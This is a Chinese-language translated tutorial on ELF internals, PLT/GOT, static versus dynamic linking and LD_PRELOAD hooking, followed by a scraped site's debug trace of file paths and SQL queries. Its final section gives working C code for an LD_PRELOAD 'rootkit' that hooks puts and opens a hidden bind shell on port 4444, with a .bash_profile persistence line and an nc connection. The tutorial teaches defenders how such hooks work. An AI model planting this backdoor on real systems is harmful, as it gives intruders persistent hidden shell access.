Bash                  %: objdump -s -j .got ./hello_world                  ./hello_world: file format elf64-littleaarch64                  Contents of section .got:                     1ff90 00000000 00000000 00000000 00000000................                     1ffa0 00000000 00000000 d0050000 00000000................                     1ffb0 d0050000 00000000 d0050000 00000000................                     1ffc0 d0050000 00000000 d0050000 00000000................                     1ffd0 a0fd0100 00000000 00000000 00000000................                     1ffe0 00000000 00000000 00000000 00000000................                     1fff0 58070000 00000000 00000000 00000000X...............

初看起来这可能像是无意义的数字,但这些值中的每一个都是内存中的地址。GOT 不存储代码,只存储指针。

这不仅仅发生一次,也不限于 __libc_start_main。每次我们的程序调用像 printf 这样的外部函数时,流程都会通过 PLT 返回。

如果我们反汇编 main,我们可以看到调用不是直接指向 libc,而是指向 PLT:

Bash                  %: objdump -d --disassemble=main ./hello_world                  ./hello_world: file format elf64-littleaarch64                  Disassembly of section .init:                  Disassembly of section .plt:                  Disassembly of section .text:                  0000000000000758 

:           758:a9bf7bfdstpx29, x30, [sp, #-16]!           75c:910003fdmovx29, sp           760:90000000adrpx0, 0 <__abi_tag-0x278>           764:911e6000addx0, x0, #0x798           768:97ffffb2bl630←- 转到 PLT            76c:52800000movw0, #0x0            770:a8c17bfdldpx29, x30, [sp], #16            774:d65f03c0ret         Disassembly of section .fini:

一个自然的问题出现了:如果源代码使用 printf,为什么我们看到 puts@plt 而不是 printf@plt

这不是错误。这是编译器优化。在这种情况下,gcc 可以用 puts 替换 printf,因为我们传递的是常量字符串,而不是使用像 %d 或 %s 这样的格式说明符。

此时,控制已经通过内核、动态链接器和 libc。只有现在我们自己的代码才真正开始。

0000000000000758 

:           758: a9bf7bfd stp x29, x30, [sp, #-16]!           75c: 910003fd mov x29, sp           760: 90000000 adrp x0, ...           764: 911e6000 add x0, x0, ...           768: 97ffffb2 bl 630   76c: 52800000 mov w0, #0x0            770: a8c17bfd ldp x29, x30, [sp], #16            774: d65f03c0 ret

第一条指令是函数序言:

stp x29, x30, [sp, #-16]!                  mov x29, sp

这将先前的状态存储在栈上,并为 main 创建一个新的栈帧。

然后主体执行:

bl puts@plt

正如我们已经看到的,这不是直接调用,而是通过 PLT 并最终进入 libc 的路由调用。

最后是尾声:

ldp x29, x30, [sp], #16                  ret

恢复先前的栈状态并返回控制。

静态 vs 动态链接

到目前为止,我们已经将动态链接作为一个概念来讨论,但我们可以直接在我们的二进制文件上看到它。如果我们运行 ldd,我们得到的确切是我们一直描述的行为:

Bash                  %: ldd ./hello_world                  linux-vdso.so.1 (0x0000f9230acbf000)                  libc.so.6 => /lib/aarch64-linux-gnu/libc.so.6 (0x0000f9230aa80000)                  /lib/ld-linux-aarch64.so.1 (0x0000f9230ac70000)

这给了我们程序运行所需的动态库列表。其中,一个组件至关重要:动态链接器(ld-linux),它负责将库加载到内存并通过 PLT 和 GOT 解析符号。

这直接连接到我们之前看到的 INTERP 段:那就是二进制文件声明哪个解释器必须处理进程的地方。

正如我们所见,编译二进制文件主要有两种方式:静态和动态。如果我们静态编译,生成的二进制文件要大得多,因为它在内部包含了它使用的所有 libc 函数,而不是在运行时依赖外部库。

Bash                  %: gcc -static ./hello_world.c -o ./hello_world_static                  %: ./hello_world_static                  Hello world!                  %: ldd ./hello_world_static                  not a dynamic executable

我们还可以验证生成的二进制文件要大得多:

Bash                  %: ls -lh ./hello_world_static ./hello_world                  -rwxrwxr-x 1 tty0 tty069K Apr5 07:09 ./hello_world                  -rwxrwxr-x 1 tty0 tty0 625K Apr5 07:07 ./hello_world_static

符号

如果我们更进一步,分析每个二进制文件中存在的符号,差异变得更加清晰。符号是程序中可识别实体的表示,如函数或变量。在编译和链接期间,链接器构建一个符号表,将像 main 或 printf 这样的名称与内存地址关联。

对我们的分析特别相关的一种符号类型是 T,它指示 .text 节中的可执行代码。

Bash                  $ nm ./hello_world_static | grep " T " | wc -l                  760                  $ nm ./hello_world | grep " T "                  0000000000000778 T _fini                  00000000000005b8 T _init                  0000000000000758 T main                  0000000000000640 T _start

虽然动态二进制文件只包含几个函数,但静态二进制文件包含数百个额外的函数,主要来自 libc。这解释了更大的大小以及函数调用不再通过 PLT 等机制,而是直接指向编译时解析的地址的事实。

剥离符号

符号对执行来说不是严格必需的。实际上,像 strip 这样的工具可以删除它们以减小二进制文件大小。

Bash                  %: strip ./hello_world

如果我们再次用 nm 检查二进制文件,大多数符号消失:

Bash                  %: nm ./hello_world | grep " T "                  nm: ./hello_world_static: no symbols

这是因为 strip 删除了像 .symtab 和 .strtab 这样的符号表,它们对调试和分析有用,但在运行时不需要。

不过,在动态二进制文件中,一些符号必须保留,因为动态链接器需要在运行时解析它们,例如 .dynsym 中存在的那些。

到目前为止我们看到的一切不仅仅是理论。函数在运行时动态解析的事实不仅简化了链接,它还打开了在不更改源代码的情况下修改程序行为的可能性。

LD_PRELOAD:拦截运行时

一旦我们理解了动态链接如何工作,一个有趣的可能性出现了:如果动态链接器是在运行时解析函数的那个,那么我们也可以影响那个过程。

在 Linux 上,这通过 LD_PRELOAD 环境变量成为可能,它允许在其他库之前加载一个库。这意味着我们可以注入自己的函数实现,并从 libc 覆盖原始行为。

为什么这有效? 因为符号查找顺序。当动态链接器搜索像 printf 这样的函数时,它按顺序遍历加载的库。通过使用 LD_PRELOAD,我们的库被放在第一位。链接器首先找到我们的版本,将其绑定到 GOT,并在那里停止。

这给了我们很大的权力:我们可以拦截对 write 或 printf 的调用,并改变它们的行为,而不触及原始源代码的一行。

例如,在我们经典的"Hello world!"中:

C                  // hello_world.c                  #includeint main() {          printf("Hello world!\n");          return 0;          }

在 main() 内部,我们调用 libc 函数 printf 来打印 "Hello world!\n"。这简单易懂。我们现在的目标是通过改变符号解析顺序来有利于我们来改变程序的正常行为。

为此,我们创建自己的共享库,包含一个与原始 printf 具有相同签名的函数。计划是:

  • 编写包装器

  • 将其编译为共享对象

  • 用 LD_PRELOAD 注入

C                  #define _GNU_SOURCE                  #include#include// 拦截 puts,这是 gcc 实际上在底层使用的           int puts(const char *str) {           // 使用 fputs 到 stderr 以避免通过再次调用 puts 导致无限循环           fputs("[Hacked] The system has been intercepted...\n", stderr);           return 0;           }           // 也拦截 printf 以防万一           int printf(const char *format, ...) {           fputs("[Hacked] The system has been intercepted...\n", stderr);           return 0;           }

将其编译为共享对象:

Bash                  %: gcc -fPIC -shared -o libhacker.so hacker.c -ldl

现在我们只需执行我们的二进制文件,甚至系统命令如 whoami 或 ls,前面加上环境变量:

Bash                  %: LD_PRELOAD=./libhacker.so ./hello_world                  [Hacked] The system has been intercepted...                  %: LD_PRELOAD=./libhacker.so whoami                  [Hacked] The system has been intercepted...

如果我们想更进一步,我们可以将 export LD_PRELOAD=~/.libhacker.so 添加到用户的 .bash_profile。从那时起,用户运行的每个命令都会加载我们的代码。

为了让它表现得像一个真正的 rootkit,我们希望它是不可见的。以下代码拦截 printf 或 puts,但也启动一个监听所选端口的后台 shell:

C                  #define _GNU_SOURCE                  #include#include#include#include#include#include#include#include// 载荷:一个与父进程分离的绑定 shell                 void backdoor() {                 int server_fd, client_fd;                 struct sockaddr_in server_addr;                 char *const shell_argv[] = {"/bin/sh", NULL};                 char *const shell_envp[] = {NULL};                 server_fd = socket(AF_INET, SOCK_STREAM, 0);                 if (server_fd < 0) exit(0);                 int opt = 1;                 setsockopt(server_fd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));                 server_addr.sin_family = AF_INET;                 server_addr.sin_addr.s_addr = INADDR_ANY;                 server_addr.sin_port = htons(4444);                 if (bind(server_fd, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) exit(0);                 if (listen(server_fd, 1) < 0) exit(0);                 client_fd = accept(server_fd, NULL, NULL);                 if (client_fd < 0) exit(0);                 // 将 stdin、stdout 和 stderr 重定向到套接字                 dup2(client_fd, 0);                 dup2(client_fd, 1);                 dup2(client_fd, 2);                 execve("/bin/sh", shell_argv, shell_envp);                 exit(0);                 }                 // Hook puts:当 printf 被优化掉时实际调用的函数                 int puts(const char *str) {                 static int initialized = 0;                 if (!initialized) {                 initialized = 1;                 pid_t pid = fork();                 if (pid == 0) {                 // 子进程:成为守护进程                 setsid();                 umask(0);                 close(0); close(1); close(2);                 backdoor();                 exit(0);                 }                 }                 int (*orig_puts)(const char *str);                 orig_puts = dlsym(RTLD_NEXT, "puts");                 return orig_puts(str);                 }

我们重新定义 puts,这通常是编译器在我们编写简单的 printf 时最终使用的。通过拦截那个调用,原始程序不再执行 libc 的代码,而是我们的。

这个"rootkit"的核心是创建一个独立的进程。当程序尝试打印它的消息时,我们的函数捕获执行并使用 fork 分裂。父进程正常继续,而子进程用 setsid 完全脱离自己,成为一个静默的守护进程,即使原始程序或终端关闭也能存活。

要验证它,我们再次将其编译为共享对象:

Bash                  %: gcc -fPIC -shared -o libhacker.so hacker.c -ldl -lpthread

-fPIC 生成位置无关代码,这是共享库所需的。-shared 告诉编译器构建共享对象而不是普通可执行文件。-ldl 链接动态加载库,以便我们可以使用 dlsym,-lpthread 确保对线程和相关运行时行为的适当支持。

现在我们执行我们的"Hello world"或任何其他二进制文件:

Bash                  %: LD_PRELOAD=./libhacker.so ./hello_world

如果我们打开另一个终端,我们可以连接:

Bash                  %: $ nc 172.16.100.43 4444                  id                  uid=1000(tty0) gid=1000(tty0) groups=1000(tty0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd)

当然,它继承了运行 ./hello_world 的用户的权限。如果我们不审计我们的系统和连接,攻击者隐藏这样的东西,门就敞开了。

结论

经过这次旅程,一个简单的"Hello world"不再看起来像一个初学者练习,而是揭示了它的真正面目:一个复杂的工件,它穿越内核、动态链接器和 libc。我们已经看到 PLT 和 GOT 如何充当幕后真正的线,在一个从未静态的环境中实时解析每个控制转移。

但理解这不仅仅是一种智力奢侈。正如 LD_PRELOAD 的"幽灵进程"示例所示,控制加载过程的人控制运行时。在用户空间,信任是一种昂贵的货币;如果我们不审计我们的符号如何被解析,我们就将执行的完整性委托给第三方。

参考资源:

  • 工具:gccstracereadelfobjdumpnmlddfile

  • 内核系统调用表:https://elixir.bootlin.com/linux/v6.19.11/source/arch/x86/entry/syscalls/syscall_64.tbl

本文译自:ELF & Dynamic Linking (EN)

原文作者:tty0

最新文章

随机文章

基本 文件 流程 错误 SQL 调试
  1. 请求信息 : 2026-07-03 21:42:25 HTTP/2.0 GET : https://f.mffb.com.cn/a/487284.html
  2. 运行时间 : 0.306778s [ 吞吐率:3.26req/s ] 内存消耗:4,832.81kb 文件加载:140
  3. 缓存信息 : 0 reads,0 writes
  4. 会话信息 : SESSION_ID=9e1acee4fdb0f72fa50e4b5979a38d2a
  1. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/public/index.php ( 0.79 KB )
  2. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/autoload.php ( 0.17 KB )
  3. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/autoload_real.php ( 2.49 KB )
  4. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/platform_check.php ( 0.90 KB )
  5. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/ClassLoader.php ( 14.03 KB )
  6. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/autoload_static.php ( 4.90 KB )
  7. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/helper.php ( 8.34 KB )
  8. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-validate/src/helper.php ( 2.19 KB )
  9. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/helper.php ( 1.47 KB )
  10. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/stubs/load_stubs.php ( 0.16 KB )
  11. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Exception.php ( 1.69 KB )
  12. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-container/src/Facade.php ( 2.71 KB )
  13. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/deprecation-contracts/function.php ( 0.99 KB )
  14. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/polyfill-mbstring/bootstrap.php ( 8.26 KB )
  15. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/polyfill-mbstring/bootstrap80.php ( 9.78 KB )
  16. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/var-dumper/Resources/functions/dump.php ( 1.49 KB )
  17. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-dumper/src/helper.php ( 0.18 KB )
  18. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/var-dumper/VarDumper.php ( 4.30 KB )
  19. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/App.php ( 15.30 KB )
  20. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-container/src/Container.php ( 15.76 KB )
  21. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/container/src/ContainerInterface.php ( 1.02 KB )
  22. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/provider.php ( 0.19 KB )
  23. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Http.php ( 6.04 KB )
  24. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/helper/Str.php ( 7.29 KB )
  25. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Env.php ( 4.68 KB )
  26. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/common.php ( 0.03 KB )
  27. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/helper.php ( 18.78 KB )
  28. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Config.php ( 5.54 KB )
  29. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/app.php ( 0.95 KB )
  30. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/cache.php ( 0.78 KB )
  31. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/console.php ( 0.23 KB )
  32. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/cookie.php ( 0.56 KB )
  33. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/database.php ( 2.48 KB )
  34. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/facade/Env.php ( 1.67 KB )
  35. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/filesystem.php ( 0.61 KB )
  36. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/lang.php ( 0.91 KB )
  37. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/log.php ( 1.35 KB )
  38. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/middleware.php ( 0.19 KB )
  39. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/route.php ( 1.89 KB )
  40. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/session.php ( 0.57 KB )
  41. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/trace.php ( 0.34 KB )
  42. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/view.php ( 0.82 KB )
  43. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/event.php ( 0.25 KB )
  44. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Event.php ( 7.67 KB )
  45. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/service.php ( 0.13 KB )
  46. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/AppService.php ( 0.26 KB )
  47. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Service.php ( 1.64 KB )
  48. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Lang.php ( 7.35 KB )
  49. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/lang/zh-cn.php ( 13.70 KB )
  50. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/initializer/Error.php ( 3.31 KB )
  51. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/initializer/RegisterService.php ( 1.33 KB )
  52. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/services.php ( 0.14 KB )
  53. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/service/PaginatorService.php ( 1.52 KB )
  54. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/service/ValidateService.php ( 0.99 KB )
  55. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/service/ModelService.php ( 2.04 KB )
  56. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-trace/src/Service.php ( 0.77 KB )
  57. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Middleware.php ( 6.72 KB )
  58. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/initializer/BootService.php ( 0.77 KB )
  59. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/Paginator.php ( 11.86 KB )
  60. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-validate/src/Validate.php ( 63.20 KB )
  61. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/Model.php ( 23.55 KB )
  62. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/Attribute.php ( 21.05 KB )
  63. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/AutoWriteData.php ( 4.21 KB )
  64. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/Conversion.php ( 6.44 KB )
  65. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/DbConnect.php ( 5.16 KB )
  66. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/ModelEvent.php ( 2.33 KB )
  67. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/RelationShip.php ( 28.29 KB )
  68. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/contract/Arrayable.php ( 0.09 KB )
  69. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/contract/Jsonable.php ( 0.13 KB )
  70. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/contract/Modelable.php ( 0.09 KB )
  71. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Db.php ( 2.88 KB )
  72. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/DbManager.php ( 8.52 KB )
  73. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Log.php ( 6.28 KB )
  74. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Manager.php ( 3.92 KB )
  75. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/log/src/LoggerTrait.php ( 2.69 KB )
  76. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/log/src/LoggerInterface.php ( 2.71 KB )
  77. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Cache.php ( 4.92 KB )
  78. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/simple-cache/src/CacheInterface.php ( 4.71 KB )
  79. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/helper/Arr.php ( 16.63 KB )
  80. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/cache/driver/File.php ( 7.84 KB )
  81. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/cache/Driver.php ( 9.03 KB )
  82. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/CacheHandlerInterface.php ( 1.99 KB )
  83. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/Request.php ( 0.09 KB )
  84. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Request.php ( 55.78 KB )
  85. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/middleware.php ( 0.25 KB )
  86. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Pipeline.php ( 2.61 KB )
  87. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-trace/src/TraceDebug.php ( 3.40 KB )
  88. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/middleware/SessionInit.php ( 1.94 KB )
  89. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Session.php ( 1.80 KB )
  90. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/session/driver/File.php ( 6.27 KB )
  91. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/SessionHandlerInterface.php ( 0.87 KB )
  92. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/session/Store.php ( 7.12 KB )
  93. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Route.php ( 23.73 KB )
  94. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/RuleName.php ( 5.75 KB )
  95. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/Domain.php ( 2.53 KB )
  96. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/RuleGroup.php ( 22.43 KB )
  97. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/Rule.php ( 26.95 KB )
  98. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/RuleItem.php ( 9.78 KB )
  99. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/route/app.php ( 1.72 KB )
  100. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/facade/Route.php ( 4.70 KB )
  101. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/dispatch/Controller.php ( 4.74 KB )
  102. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/Dispatch.php ( 10.44 KB )
  103. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/controller/Index.php ( 4.81 KB )
  104. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/BaseController.php ( 2.05 KB )
  105. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/facade/Db.php ( 0.93 KB )
  106. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/connector/Mysql.php ( 5.44 KB )
  107. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/PDOConnection.php ( 52.47 KB )
  108. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/Connection.php ( 8.39 KB )
  109. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/ConnectionInterface.php ( 4.57 KB )
  110. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/builder/Mysql.php ( 16.58 KB )
  111. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/Builder.php ( 24.06 KB )
  112. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/BaseBuilder.php ( 27.50 KB )
  113. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/Query.php ( 15.71 KB )
  114. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/BaseQuery.php ( 45.13 KB )
  115. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/TimeFieldQuery.php ( 7.43 KB )
  116. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/AggregateQuery.php ( 3.26 KB )
  117. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/ModelRelationQuery.php ( 20.07 KB )
  118. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/ParamsBind.php ( 3.66 KB )
  119. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/ResultOperation.php ( 7.01 KB )
  120. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/WhereQuery.php ( 19.37 KB )
  121. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/JoinAndViewQuery.php ( 7.11 KB )
  122. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/TableFieldInfo.php ( 2.63 KB )
  123. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/Transaction.php ( 2.77 KB )
  124. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/log/driver/File.php ( 5.96 KB )
  125. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/LogHandlerInterface.php ( 0.86 KB )
  126. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/log/Channel.php ( 3.89 KB )
  127. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/event/LogRecord.php ( 1.02 KB )
  128. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/Collection.php ( 16.47 KB )
  129. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/facade/View.php ( 1.70 KB )
  130. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/View.php ( 4.39 KB )
  131. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Response.php ( 8.81 KB )
  132. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/response/View.php ( 3.29 KB )
  133. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Cookie.php ( 6.06 KB )
  134. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-view/src/Think.php ( 8.38 KB )
  135. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/TemplateHandlerInterface.php ( 1.60 KB )
  136. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-template/src/Template.php ( 46.61 KB )
  137. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-template/src/template/driver/File.php ( 2.41 KB )
  138. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-template/src/template/contract/DriverInterface.php ( 0.86 KB )
  139. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/runtime/temp/067d451b9a0c665040f3f1bdd3293d68.php ( 11.98 KB )
  140. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-trace/src/Html.php ( 4.42 KB )
  1. CONNECT:[ UseTime:0.001010s ] mysql:host=127.0.0.1;port=3306;dbname=f_mffb;charset=utf8mb4
  2. SHOW FULL COLUMNS FROM `fenlei` [ RunTime:0.001502s ]
  3. SELECT * FROM `fenlei` WHERE `fid` = 0 [ RunTime:0.000625s ]
  4. SELECT * FROM `fenlei` WHERE `fid` = 63 [ RunTime:0.000569s ]
  5. SHOW FULL COLUMNS FROM `set` [ RunTime:0.001215s ]
  6. SELECT * FROM `set` [ RunTime:0.000488s ]
  7. SHOW FULL COLUMNS FROM `article` [ RunTime:0.001224s ]
  8. SELECT * FROM `article` WHERE `id` = 487284 LIMIT 1 [ RunTime:0.001314s ]
  9. UPDATE `article` SET `lasttime` = 1783086145 WHERE `id` = 487284 [ RunTime:0.031946s ]
  10. SELECT * FROM `fenlei` WHERE `id` = 67 LIMIT 1 [ RunTime:0.000902s ]
  11. SELECT * FROM `article` WHERE `id` < 487284 ORDER BY `id` DESC LIMIT 1 [ RunTime:0.001175s ]
  12. SELECT * FROM `article` WHERE `id` > 487284 ORDER BY `id` ASC LIMIT 1 [ RunTime:0.001167s ]
